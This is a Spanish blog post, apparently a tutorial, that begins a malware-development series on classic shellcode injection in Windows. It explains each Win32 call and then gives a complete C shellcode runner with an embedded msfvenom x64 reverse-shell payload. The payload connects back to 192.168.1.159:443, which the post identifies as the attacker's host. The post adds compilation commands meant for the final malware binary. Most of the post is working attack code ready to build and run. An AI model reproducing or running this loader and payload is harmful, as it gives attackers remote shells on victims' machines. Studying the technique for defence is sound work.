Post

Classic Process Injection en Windows

Introducción

En este artículo comienza una serie de malware development como de AV/EDR evasion. Todo será organizado correctamente e intentaré explicarlo de la mejor manera posible.

No soy un experto en el tema simplemente intento explicar los conocimientos que he estado adquiriendo para poder seguir llegando a más gente y que pueda entenderlo mejor y que esté más accesible.

¿Qué es Process Injection?

La técnica de inyección de código es un método simple en donde un proceso inyecta código, en este caso (shellcode), en otro proceso en ejecución.

Los pasos generales para la inyección de shellcode son los siguientes:

  1. Controlar un proceso o crear un proceso.
  2. Asignar el buffer en memoria suficiente y con los permisos adecuados.
  3. Escribir en el buffer de memoria del proceso el shellcode.
  4. Crear un hilo que ejecutará lo que has asignado y escrito en el proceso.
  5. Esperar a que finaliza el hilo.

En este artículo se estará utilizando la  API Win32  para realizar el shellcode injection, lo cual deberías estar un poco familiarizado con ello. En todo caso cada línea de codigo será explicada tanto como pueda.

Explicación del funcionamiento del programa

En mi caso voy a estar empleando Microsoft Visual Studio 2022, programando en el lenguaje de C/C++ . Pongo los dos lenguajes debido a que crearé archivos en .cpp pero la mayor parte del código estará en C estandar.

1
2
3
4
#include <windows.h> # Importa funciones para procesos
#include <stdio.h> # Entrada y salida de datos
#include <stdlib.h> # manejar memoria dinámica
#include <string.h> # Trabajar con cadena de caracteres

Esta es la primera parte del código en donde definimos los encabezados los cuales nos darán acceso a numerosas funciones.

Para nosotros poder asignar memoria en un proceso o incluso en el de nuestra propio programa utilizaremos la función de  VirtualAlloc .

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Esta función cuenta con 4 parametros que requiere la función, el primero es opcional, por lo tanto en algunos casos si no deseas ponerlo pones 0.

  • LPVOID lpAddress Indica la dirección inicial de la región que se va a asignar.
  • SIZE_T dwSize Tamaño de la región, en bytes. Si el parámetro lpAddress es NULL, este valor se redondea al límite de la página siguiente.
  • DWORD flAllocationType Tipo de asignación de memoria MEM_COMMIT, MEM_RESERVE.
  • DWORD flProtect Protección de memoria para la región de las páginas que se van a asignar.

Lo siguiente será escribir el contenido de nuestro payload en el buffer que asignamos en el paso anterior con la función RtlMoveMemory.

1
2
3
4
5
VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,
  _In_  const VOID UNALIGNED *Source,
  _In_        SIZE_T         Length
);

Esta función cuenta con 3 parametros que requiere la función, el primero es de salida

VOID UNALIGNED *Destination Un puntero al bloque de memoria de destino al que copiar los bytes.
VOID UNALIGNED *Source Un puntero al bloque de memoria de origen del que copiar los bytes.
SIZE_T Length El número de bytes a copiar del origen al destino.

A su vez tendremos que cambiar los permisos del bloque de memoria a PAGE_EXECUTE_READ, para que una vez copiado el payload en ese bloque de la memoria pueda posteriormente ser ejecutado. Para ello utilizaremos la función VirtualProtect

1
2
3
4
5
6
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  • LPVOID lpAddress Dirección de la página inicial de la región de páginas cuyos atributos de protección de acceso se van a cambiar.
  • SIZE_T dwSize Tamaño de la región cuyos atributos de protección de acceso se van a cambiar, en bytes.
  • DWORD flNewProtect La opción de protección de memoria.
  • PDWORD lpflOldProtect Puntero a una variable que recibe el valor de protección de acceso anterior de la primera página de la región especificada de páginas.

Por último necesitamos crear un hilo que ejecute nuestro payload alojado en el buffer de la memoria que asignamos y rellenamos. Para poder hacer esto posible utilizaremos la función CreateThread

1
2
3
4
5
6
7
8
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
  • LPSECURITY_ATTRIBUTES lpThreadAttributes Un puntero que determina si el mango devuelto puede ser heredado por procesos infantiles. Null es que no lo puede heredar.
  • SIZE_T dwStackSize El tamaño inicial de la pila, en bytes.
  • LPTHREAD_START_ROUTINE lpStartAddress Un puntero a la función definida por la aplicación a ejecutar por el hilo.
  • LPVOID lpParameter Un puntero a una variable a pasar al hilo.
  • DWORD dwCreationFlags Las banderas que controlan la creación del hilo.
  • LPDWORD lpThreadId Un puntero a una variable que recibe el identificador de hilo. Si este parámetro es NULL, el identificador de hilo no se devuelta.

Por último necesitamos esperar a que finalice el hilo que creamos, con la función WaitForSingleObject.

1
2
3
4
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);
  • HANDLE hHandle El handle al objeto
  • DWORD dwMilliseconds El intervalo de tiempo de salida, en milisegundos.

En la siguiente parte del codigo se utilizan las funciones necesarias para poder ejecutar el shellcode injection correctamente.

Desarrollo del exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main() {
  void * myPayloadMem; // Buffer de memoria del payload
  BOOL rv; // resultado de VirtualProtect
  HANDLE th; // thread handle
  DWORD oldprotect = 0; // oldprotect value

  // Alojar un espacio de memoria para el payload
  myPayloadMem = VirtualAlloc(0, sizeof(myPayloadMem), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // Copiamos el payload al buffer asignado
  RtlMoveMemory(myPayloadMem, my_payload, sizeof(myPayloadMem));

  // Hacemos ejecutable el buffer de memoria
  rv = VirtualProtect(myPayloadMem, sizeof(myPayloadMem), PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {

    // Ejecutamos el payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) myPayloadMem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }
  return 0;
}

Generar el shellcode

Ahora necesitamos generar nuestro shellcode, que será el código que posteriormente será ejecutado. Para ello utilizaremos la herramienta  msfvenom  la cual viene de la suite de metasploit en donde será fundamental para generar nuestro shellcode.

Malware programado

Una vez generado el shellcode deberemos de indicarlo en el implante para poder realizar el shellcode runner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// nuestra reverse shell [msfvenom]
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x01\x9f"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main() {
  void * myPayloadMem; // Buffer de memoria del payload
  BOOL rv; // resultado de VirtualProtect
  HANDLE th; // thread handle
  DWORD oldprotect = 0; // oldprotect valor

  // Alojar un espacio de memoria para el payload
  myPayloadMem = VirtualAlloc(0, sizeof(myPayloadMem), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // Copiamos el payload al buffer asignado
  RtlMoveMemory(myPayloadMem, my_payload, sizeof(myPayloadMem));

  // Hacemos ejecutable el buffer de memoria
  rv = VirtualProtect(myPayloadMem, sizeof(myPayloadMem), PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {

    // Ejecutamos el payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) myPayloadMem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }
  return 0;
}

Compilación

Microsoft Visual Studio

En este caso si deseamos compilar el malware desde Visual Studio deberemos de configurar una serie de opciones para que no de error otros equipos a la hora de ejecutar el malware, ya sean maquinas virtuales o equipos de escritorio.

Code Generation Visual Studio

En este apartado lo que vamos a modificar es que a la hora de generar el código nos permita le deberemos de especificar  Multi-threaded Debug (/Mtd)  en caso de que deseemos el binario con una biblioteca de tiempo de ejecución que a su vez incluye información de depuración. Para la versión final del malware es recomendable utilizar  Multi-threaded (/MT) .

Al utilizarlo podremos compilar para cualquier equipo para Windows x64.

Desde un sistema Linux

1
x86_64-w64-mingw32-gcc maldev.cpp -o maldev.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
  1. x86_64-w64-mingw32-gcc  Es el compilador GCC (GNU Compiler Collection) configurado para generar código para la arquitectura x86_64 (64 bits) en el entorno Windows usando el conjunto de herramientas de Mingw-w64.
  2. -s  Solicita al compilador que optimice el código resultante para reducir el tamaño del archivo ejecutable.
  3. -ffunction-sections  Indica al compilador que coloque cada función en una sección separada. Esto puede ayudar en la eliminación de código no utilizado durante la fase de enlace.
  4. -fdata-sections  Similar a la opción anterior, pero para variables y datos en lugar de funciones.
  5. -Wno-write-strings  Desactiva las advertencias relacionadas con la escritura en cadenas literales.
  6. -fno-exceptions  Indica al compilador que no genere código de manejo de excepciones.
  7. -fmerge-all-constants  Solicita al compilador que intente combinar constantes duplicadas.
  8. -static-libstdc++  Indica al enlazador que incluya la biblioteca estática de C++ estándar
  9. -static-libgcc  Similar a la opción anterior, pero para la biblioteca GCC (compilador de C).

Ejecución

Una vez creado el shellcode runner, al ejecutar como vemos se nos ejecuta el shellcode y nos llega.

Analizamos el Funcionamiento

Para investigar nuestro exe, usaremos Process Hacker. Process Hacker es una herramienta de código abierto que le permitirá ver qué procesos se están ejecutando en un dispositivo, identificar programas que están consumiendo recursos de la CPU e identificar conexiones de red asociadas con un proceso en otro tipos de opciones que iremos descubriendo poco a poco en los posts.

Una vez ejecutado el binario. Luego en la pestaña de Network veremos que nuestro proceso establece conexión con 192.168.1.159:443(host del atacante).

Conclusión

Este post no trata de evadir el AV/EDR, trata sobre malware development en los siguientes post estaré hablando de diferentes formas de ejecutar código en procesos remotos.

This post is licensed under CC BY 4.0 by the author.